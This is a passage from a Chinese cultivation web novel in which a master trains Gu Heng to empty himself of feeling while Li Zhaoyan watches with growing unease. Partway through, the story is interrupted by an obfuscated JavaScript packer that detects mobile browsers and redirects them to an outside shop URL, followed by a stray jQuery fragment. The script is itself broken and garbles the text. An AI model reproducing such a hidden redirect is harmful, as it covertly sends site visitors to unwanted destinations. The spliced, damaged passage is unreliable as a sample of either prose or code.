被墨色晕染,好像有看不见的污浊之气正往里钻。
黎昭妍收回目光,走到角落跪坐下来,展开经卷,提笔抄写。
笔尖落在纸上,心却不在经文上。
这一次,她的幻境变了。
不再是模糊的妖鬼怪物,而是顾衡。
她看到自己在火海中痛苦挣扎,皮肉被灼烧的剧痛真实无比。她向那个背影求救,可顾衡只是冷冷地转过头,面无表情地看着她。
他说:“你果然是个骗子。”
那一刻的绝望简直令人窒息。
是因为自己内心深处对欺骗的愧疚?还是随着训练的深入,恐惧也在改变?
黎昭妍想不通,也不打算问莫千钧。这个老头子看她的眼神像是在看一件工具,她才不会自讨没趣。
她一边抄写,一边用余光暗暗观察着殿中的两人。
这期间,顾衡醒过来很多次。
最初几次,他胸膛剧烈起伏,眼里满是惊恐和悲伤。
但莫千钧只是居高临下动了动唇:“继续。”
没有半句指点,只有命令。
顾衡也不反驳,甚至来不及擦一把脸上的汗,就立刻闭上眼,强迫自己瞬间入定。
渐渐地,黎昭妍感觉到了不对劲。
刚开始,他眼里还有泪光和痛苦;第二次、第三次……他睁眼后的慌乱越来越少,呼吸恢复平稳的速度越来越快。
起初他需要喘息许久才能平复,到后来,他睁眼、闭眼,中间几乎毫无停顿。
黎昭妍只觉得心里发寒。
就算是无情道的佛修,也不该是这种修法。
如果顾衡面对的始终是那只溺死的小狗,那所谓“过关”的标准是什么?
是看着那条生命消逝毫无波澜?
莫千钧不是在教他如何控制情绪,而是在训练他如何把“痛苦”、“怜悯”这些感觉从身体里剔除。
照这个方向下去,最后留下的只会是一个却没有“人性”的空壳。
他不会再恨她,当然,也不会再喜欢上谁。
她越想,后背越凉。
“不错。”
不知过了多久,莫千钧略带满意的声音突然响起,打断了黎昭妍的思绪。
“这次做得不错。心神渐稳,杂念已消,要继续保持。”
黎昭妍猛地抬头看去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16764496|177380||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
p>
顾衡正缓缓睁开眼。
他没有喘息,脸上也看不见汗,只是淡淡地抬了下头,目光在殿中一转,最后落向她。
那双眼睛空空荡荡,像一口枯井,深不见底,空无一物。
他整个人散发着一种冰冷疏离的气息,明明还是他,却像一座高耸的冰山,平静,强大,却令人畏惧。
她心头一紧,生出一种极不舒服的陌生感。
“先休息。”
莫千钧摆摆手,转身离开了大殿。
压在头顶上的那股威压随之散去,大殿里只剩下翻纸和笔尖的沙沙声。
顾衡默不作声,走到她对面的案几前跪坐下来,提笔抄经。